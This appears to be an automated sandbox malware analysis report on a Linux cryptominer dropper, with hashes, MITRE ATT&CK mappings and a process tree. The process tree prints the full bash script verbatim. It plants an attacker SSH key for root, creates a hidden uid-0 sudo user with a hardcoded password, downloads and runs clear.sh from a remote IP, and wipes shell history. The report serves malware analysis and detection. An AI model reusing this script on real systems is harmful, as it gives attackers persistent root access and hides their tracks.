Overview
overview
10Static
static
10.ICE-Temp/1
ubuntu-20.04-amd64
6.ICE-Temp/apachelogs
ubuntu-20.04-amd64
6.ICE-Temp/lol
ubuntu-20.04-amd64
6.ICE-Temp/noob
ubuntu-20.04-amd64
.ICE-Temp/run
ubuntu-20.04-amd64
8.ICE-Temp/setup
ubuntu-20.04-amd64
3.ICE-Temp/sobolan
ubuntu-20.04-amd64
3.ICE-Temp/start
ubuntu-20.04-amd64
6.ICE-Temp/status
ubuntu-20.04-amd64
1.ICE-Temp/syst3md
ubuntu-20.04-amd64
10.ICE-Temp/wget-log
ubuntu-20.04-amd64
Analysis
-
max time kernel
138s -
max time network
149s -
platform
ubuntu-20.04_amd64 -
resource
ubuntu2004-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system -
submitted
05-01-2025 14:04
Behavioral task
behavioral1
Sample
.ICE-Temp/1
Resource
ubuntu2004-amd64-20241127-en
Behavioral task
behavioral2
Sample
.ICE-Temp/apachelogs
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral3
Sample
.ICE-Temp/lol
Resource
ubuntu2004-amd64-20240729-en
Behavioral task
behavioral4
Sample
.ICE-Temp/noob
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral5
Sample
.ICE-Temp/run
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral6
Sample
.ICE-Temp/setup
Resource
ubuntu2004-amd64-20241127-en
Behavioral task
behavioral7
Sample
.ICE-Temp/sobolan
Resource
ubuntu2004-amd64-20240729-en
Behavioral task
behavioral8
Sample
.ICE-Temp/start
Resource
ubuntu2004-amd64-20240508-en
Behavioral task
behavioral9
Sample
.ICE-Temp/status
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral10
Sample
.ICE-Temp/syst3md
Resource
ubuntu2004-amd64-20240611-en
Behavioral task
behavioral11
Sample
.ICE-Temp/wget-log
Resource
ubuntu2004-amd64-20240611-en
General
-
Target
.ICE-Temp/run
-
Size
904KB
-
MD5
6f2ad308cfca8ada83dddeff3550ff1b
-
SHA1
6d51130d16c851c9cab5851ee13abec0cb24d20d
-
SHA256
bd8a77f63439dd7bc7e7da339ec4a9c097e5b316d42a0941b78b93a0bf664892
-
SHA512
e8c894292b0b71791d740fd372170d050683c7aa7720d4ba77aaf3e5e4d776d4da265e6f4bd94adec26c994408f5470b384f1b7a58841368c73ac836084bdb5c
-
SSDEEP
12288:z6r54g+nBwIjwv9og34rhz/BIYpVrydh+muhRn7ry9hv7E:z6rag+eI8v953uhz/BIYwnuhRfy9h
Malware Config
Signatures
-
Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys bash -
Modifies password files for system users/ groups 1 TTPs 8 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
description ioc Process File opened for modification /etc/gshadow usermod File opened for modification /etc/passwd useradd File opened for modification /etc/group useradd File opened for modification /etc/gshadow useradd File opened for modification /etc/shadow useradd File opened for modification /etc/passwd usermod File opened for modification /etc/shadow usermod File opened for modification /etc/group usermod -
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1440 bash -
OS Credential Dumping 1 TTPs 3 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
description ioc Process File opened for reading /etc/shadow useradd File opened for reading /etc/shadow usermod File opened for reading /etc/shadow passwd -
Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 1463 usermod -
Adds a user to the system 1 IoCs
pid Process 1455 useradd -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 1 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/634/status pgrep File opened for reading /proc/638/status pgrep File opened for reading /proc/1156/cmdline pgrep File opened for reading /proc/81/status pgrep File opened for reading /proc/303/cmdline pgrep File opened for reading /proc/583/cmdline pgrep File opened for reading /proc/6/cmdline pgrep File opened for reading /proc/1351/status pgrep File opened for reading /proc/970/cmdline pgrep File opened for reading /proc/994/cmdline pgrep File opened for reading /proc/filesystems mkdir File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/827/status pgrep File opened for reading /proc/927/status pgrep File opened for reading /proc/filesystems id File opened for reading /proc/sys/kernel/random/boot_id useradd File opened for reading /proc/397/cmdline pgrep File opened for reading /proc/994/status pgrep File opened for reading /proc/1343/status pgrep File opened for reading /proc/89/status pgrep File opened for reading /proc/618/status pgrep File opened for reading /proc/647/cmdline pgrep File opened for reading /proc/975/status pgrep File opened for reading /proc/1340/cmdline pgrep File opened for reading /proc/1/cmdline pgrep File opened for reading /proc/22/status pgrep File opened for reading /proc/74/status pgrep File opened for reading /proc/1350/cmdline pgrep File opened for reading /proc/102/cmdline pgrep File opened for reading /proc/663/cmdline pgrep File opened for reading /proc/1096/cmdline pgrep File opened for reading /proc/173/cmdline pgrep File opened for reading /proc/668/status pgrep File opened for reading /proc/686/cmdline pgrep File opened for reading /proc/1340/status pgrep File opened for reading /proc/72/status pgrep File opened for reading /proc/76/status pgrep File opened for reading /proc/92/status pgrep File opened for reading /proc/1030/status pgrep File opened for reading /proc/1047/status pgrep File opened for reading /proc/176/status pgrep File opened for reading /proc/176/cmdline pgrep File opened for reading /proc/618/cmdline pgrep File opened for reading /proc/filesystems mkdir File opened for reading /proc/11/status pgrep File opened for reading /proc/86/cmdline pgrep File opened for reading /proc/270/cmdline pgrep File opened for reading /proc/498/status pgrep File opened for reading /proc/771/status pgrep File opened for reading /proc/999/cmdline pgrep File opened for reading /proc/2/status pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/20/status pgrep File opened for reading /proc/488/cmdline pgrep File opened for reading /proc/1081/cmdline pgrep File opened for reading /proc/1086/cmdline pgrep File opened for reading /proc/87/status pgrep File opened for reading /proc/1438/cmdline pgrep File opened for reading /proc/92/cmdline pgrep File opened for reading /proc/269/cmdline pgrep File opened for reading /proc/884/cmdline pgrep File opened for reading /proc/1079/status pgrep File opened for reading /proc/1342/status pgrep -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.ICE-Temp/.settings/.rsakey bash File opened for modification /tmp/.ICE-Temp/.settings/.usercreated bash
Processes
-
/tmp/.ICE-Temp/run/tmp/.ICE-Temp/run1⤵PID:1440
-
/bin/bash/tmp/.ICE-Temp/run -c "exec '/tmp/.ICE-Temp/run' \"\$@\"" /tmp/.ICE-Temp/run1⤵PID:1440
-
/tmp/.ICE-Temp/run/tmp/.ICE-Temp/run1⤵PID:1440
-
/bin/bash/tmp/.ICE-Temp/run -c " #!/bin/bash myrsa='ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAkVgakr9+hG15jNtsAvFgXeTEuAtZ4M1Qtjmhtf68O6KeXbZ8EYt5M0DXEFOibWqMD8GURCchBItlWtlq825vQ7mGtyNHzzRLt5Hyjx2156Mz4B6oPPrw8LPJ273owYkJ8UCwpgYkoNdgeUaHtVcQM8K3GtRrikdtRewisRUlbp+f6zxqTWKIIouNOw0xOaCp5SihZHghPPibNTxSBZtkxGgsNmmcKXf3wvt/mB/3g6DoEHU+q++gajiA+aUCVfLzqKZ838R4S82valRmwoIYPE8eK776zQoJ7fpxOMLRM+ISryRPXgk/vxHRvMtrJNnMLhVo25h8/6dIkhVgUF9qkQ== universal-ssh-key' userpassword='ad1tzminer123!' addsshkey() { if [[ \$(id -u) = 0 ]]; then if [[ ! -d \".settings\" ]]; then mkdir .settings echo \$myrsa > .settings/.rsakey else echo \$myrsa > .settings/.rsakey fi if [[ ! -d \"/root/.ssh\" ]]; then mkdir /root/.ssh rsakey=`cat .settings/.rsakey` echo \$rsakey > \"/root/.ssh/authorized_keys\" chmod 600 /root/.ssh/authorized_keys chattr +i /root/.ssh return 1 else if [[ -f \"/root/.ssh/authorized_keys\" ]]; then chattr -i /root/.ssh/authorized_keys rm -rf /root/.ssh/authorized_keys rsakey=`cat .settings/.rsakey` echo \$rsakey > \"/root/.ssh/authorized_keys\" chmod 600 /root/.ssh/authorized_keys chattr +i /root/.ssh/authorized_keys return 1 else rsakey=`cat .settings/.rsakey` echo \$rsakey > \"/root/.ssh/authorized_keys\" chmod 600 /root/.ssh/authorized_keys chattr +i /root/.ssh/authorized_keys return 1 fi fi fi } setlocations() { if [[ ! -d \"/var/tmp/\" ]]; then clear echo \"[Miner]: I can't find '/var/tmp', miner will not start!\" sleep 2 exit 1 fi if [[ ! -d \"/var/tmp/.apachee\" ]]; then mkdir /var/tmp/.apachee echo \"\${PWD}/syst3md\" > /var/tmp/.apachee/.minerlocation echo \"\${PWD}/1\" > /var/tmp/.apachee/.hook1location echo \"\${PWD}/apachelogs\" > /var/tmp/.apachee/.apachelogslocation else echo \"\${PWD}/syst3md\" > /var/tmp/.apachee/.minerlocation echo \"\${PWD}/1\" > /var/tmp/.apachee/.hook1location echo \"\${PWD}/apachelogs\" > /var/tmp/.apachee/.apachelogslocation fi } createsudouser() { if [[ \$(id -u) = 0 ]]; then if [[ ! -f \".settings/.usercreated\" ]]; then /usr/sbin/useradd -u0 -g0 -o -s /bin/bash ad1tz ; usermod -aG sudo ad1tz echo -e \"\${userpassword}\\n\${userpassword}\" | passwd ad1tz sleep 1 echo \"User with sudo was created!\" > .settings/.usercreated fi fi } if ! pgrep -x syst3md >/dev/null then addsshkey sleep 2 setlocations sleep 2 createsudouser sleep 1 ./apachelogs > /dev/null 2>&1 & disown else echo -e \"[Miner]: Miner aleardy in background!\" exit 1; fi if [[ \$(id -u) = 0 ]]; then wget 51.83.134.135/clear.sh || curl -O 51.83.134.135/clear.sh ; chmod +x * ; . clear.sh ; rm -rf clear* else history -c rm -rf /home/\$(whoami)/.bash_history fi clear echo -e \"[Miner]: Hook started in background!\" sleep 1 " /tmp/.ICE-Temp/run1⤵
- Adds new SSH keys
- File and Directory Permissions Modification
- Writes file to tmp directory
PID:1440 -
/usr/bin/pgreppgrep -x syst3md2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1441
-
-
/usr/bin/idid -u2⤵
- Reads runtime system information
PID:1442
-
-
/usr/bin/mkdirmkdir /root/.ssh2⤵
- Reads runtime system information
PID:1443
-
-
/usr/bin/catcat .settings/.rsakey2⤵PID:1444
-
-
/usr/bin/chmodchmod 600 /root/.ssh/authorized_keys2⤵PID:1445
-
-
/usr/bin/chattrchattr +i /root/.ssh2⤵PID:1446
-
-
/usr/bin/sleepsleep 22⤵PID:1447
-
-
/usr/bin/mkdirmkdir /var/tmp/.apachee2⤵
- Reads runtime system information
PID:1452
-
-
/usr/bin/sleepsleep 22⤵PID:1453
-
-
/usr/bin/idid -u2⤵PID:1454
-
-
/usr/sbin/useradd/usr/sbin/useradd -u0 -g0 -o -s /bin/bash ad1tz2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Adds a user to the system
- Reads runtime system information
PID:1455 -
/usr/sbin/nscdnscd -i passwd3⤵PID:1456
-
-
/usr/sbin/nscdnscd -i group3⤵PID:1457
-
-
/usr/sbin/sss_cachesss_cache -UG3⤵PID:1458
-
-
/sbin/pam_tally2pam_tally2 --user ad1tz --reset --quiet3⤵PID:1459
-
-
/usr/sbin/nscdnscd -i passwd3⤵PID:1460
-
-
/usr/sbin/nscdnscd -i group3⤵PID:1461
-
-
/usr/sbin/sss_cachesss_cache -UG3⤵PID:1462
-
-
-
/usr/sbin/usermodusermod -aG sudo ad1tz2⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1463 -
/usr/sbin/nscdnscd -i passwd3⤵PID:1464
-
-
/usr/sbin/nscdnscd -i group3⤵PID:1465
-
-
/usr/sbin/sss_cachesss_cache -UG3⤵PID:1466
-
-
/usr/sbin/nscdnscd -i passwd3⤵PID:1467
-
-
/usr/sbin/nscdnscd -i group3⤵PID:1468
-
-
/usr/sbin/sss_cachesss_cache -UG3⤵PID:1469
-
-
-
/usr/bin/passwdpasswd ad1tz2⤵
- OS Credential Dumping
PID:1471
-
-
/usr/bin/sleepsleep 12⤵PID:1472
-
-
/usr/bin/sleepsleep 12⤵PID:1473
-
-
/usr/bin/idid -u2⤵PID:1475
-
-
/tmp/.ICE-Temp/apachelogs./apachelogs2⤵PID:1474
-
-
/usr/bin/wgetwget 51.83.134.135/clear.sh2⤵PID:1476
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Account Manipulation
1SSH Authorized Keys
1Modify Authentication Process
1Pluggable Authentication Modules
1Privilege Escalation
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1Account Manipulation
1SSH Authorized Keys
1Defense Evasion
Abuse Elevation Control Mechanism
1Sudo and Sudo Caching
1File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5a5ec19747607de8c9d9ab46274d5ad8c
SHA136853eb854467332e4d83548d5d5f940d6d92570
SHA2565dedbf51c2a26174feaed61016a9fc61416478f6667fae072281114d919d03d7
SHA512f9387a7d7a22acc61b29b614b18a56e5e18a1e9f769af1e7cda3c885297d43be3add146cf2c62c2dd89c39513a0aa0d0050a6b8fe5935a509f113d72c8798a63
-
Filesize
877B
MD506efad48916e0c50dd32af10527480c8
SHA14c902d291bb44db162acee1fa2b86b805d2cf8bc
SHA256130340ec78e99c690b607096a1fb19b9f19f198657c665992ebd6e161e57fdf5
SHA512b4929b563edf2651426b8b3f8fb8ae4f13c286a49266df08f9688f38cc2f6ab6844f0555b83b5b6f5115805b33a6024e057aec13a2619ebde766b8a50fc02603
-
Filesize
1KB
MD5536c0e07378d5a9ff1c87d016ab9fdf1
SHA1a9bea3938ef73b0d9b3e8722af09db2ec02f7fcb
SHA256d40b94b603e5a8fa272ad87dead23409e585553deb75d4f2795b684472eeb646
SHA512715b68686761f583c5f0181b3fd5ecda27197de4055a21f3590c304c68e6e2c23df8fa41b624c91bbf0148eccd15b61e8f35bf906f12c39862ced136d32e733e
-
Filesize
2KB
MD553cffe6adeec757967d75c3d89fd5ba3
SHA173b8e8205331f485abba6cfa912781b8c19a2a19
SHA256fc7f43e9090f41e0a4a34ff2281869b27bb65bfa469d9181d89be40304f37ed3
SHA512ba2f1b80e76c10d6ecc011d9eaea5ca6c80cc02877afd84758547887458c3b88f82bf09ff4ce1688af01490d9eed845f4c5995c3e1c552fe3e9a58e713e68479
-
Filesize
1KB
MD5b67863146544e302b7a0943589c8b58f
SHA1a9ed4e5c869a231885a146266e3af7b2fcd660cf
SHA25604ab87b51fd1f60f9471b20ab993fa765ebd55b6cc4ebe4fc590849dfe090835
SHA512500c1af197be1af323bb39093fab5c8e18e49f2718c26d745366ff1785afbbbf0e8a6c7f0ab538f578a8c27c201c2a4233e64aa6321069bd9e8544904e220aed
-
Filesize
37B
MD5ba38a89f611ec4a07beed4cff2489dc3
SHA1b31eb61c10b038af30fc928f9886b79e133375fe
SHA256b958144da0e5454807286f0453833b5062d43ee1f5b50eff20f3ada40d6502a4
SHA512b3f15f0c3934e04f3824c6b22d47ff5ddbe4fcf39556cf3e4ad9ce89affe21c31d8034d8736f32ee14bd26ca9eb65bf3a87d941cbdef5f0064cda5afd720c8c5
-
Filesize
399B
MD5af277e373072bc8473f736a05c126806
SHA1452a1facea886d300cb5c42e6d95034bf4b19626
SHA2564799360542a39887a69db9abc7eda02908847d9605f35ef1b829a17d2578e59f
SHA51240c8465b10619dd090e8b8fca079951445656b122f2815283b17466786c6e58861f9acac122aa538ffaef03632f3449618fad7552ced80330887a38f10d3fccc
-
Filesize
28B
MD59eb3464f46228a4ffcc260a6be7b7a52
SHA10e3b4c349112b9040c6683686bc9b2be8db348c2
SHA25678ba3e1474a147e3fc700ca37ff49c671e997cbb47f0c4588b8012ba2e3e38b3
SHA512d1f39c6a3ea8ab26a828db09f3ac79e18bd8bff490c0ab44865ab30e6c1d34309ee47ca3e9178a227710a0e4818f4e224fe56332ab4ca463616e0d164f94ef88
-
Filesize
26B
MD59e6f2b66dee0238e585e4b4aea331bb2
SHA174ee97dc84812ce28a17e48b75782e06008e1019
SHA2560476869cb92cdf45a4977422ce3d14dd257647f5c838d37bc9002a7fec60bf62
SHA5124f31848aa3aa691834581ebc05be5fabbe48dc453f61a66cac8261d4a20821927e4d620f36b7057fca85327c96833f6951fa3c446dfd4377447659d1d2a5d621
-
Filesize
17B
MD518755e677d11f2346836a95b62bc079f
SHA1fc80d163c884875eb813b136fb553067ff58b540
SHA256acabdeb049c431c335c8ec2516c6512f0966aed07b544c49e604a83a495c26d4
SHA512ba0ad4c5a33dee7dbd181bf29b0ed9fac5e4fdaece00e2370fa0d082ade575024616b6d75dafea61c917e9e4fec7e508d24d6265637a4b1a981a8a88be70aaa6
-
Filesize
23B
MD5c0e222e3eaaa00229ca7c9a5d04d288e
SHA1661138c453e8f4bfbd2669384f7f9f25adb7e603
SHA256bcea2cc016091e576f273c60486238ede715931d519b31170b929ab1eeaa9c37
SHA51235d84b15967e35d9e17d523731a5a2a0e4ccccd9fad070e6c3ce4bd9b7bc5d015b4576907fb9456d0aedceb98c183d49f991fa732fed279dbc11777851cdddfa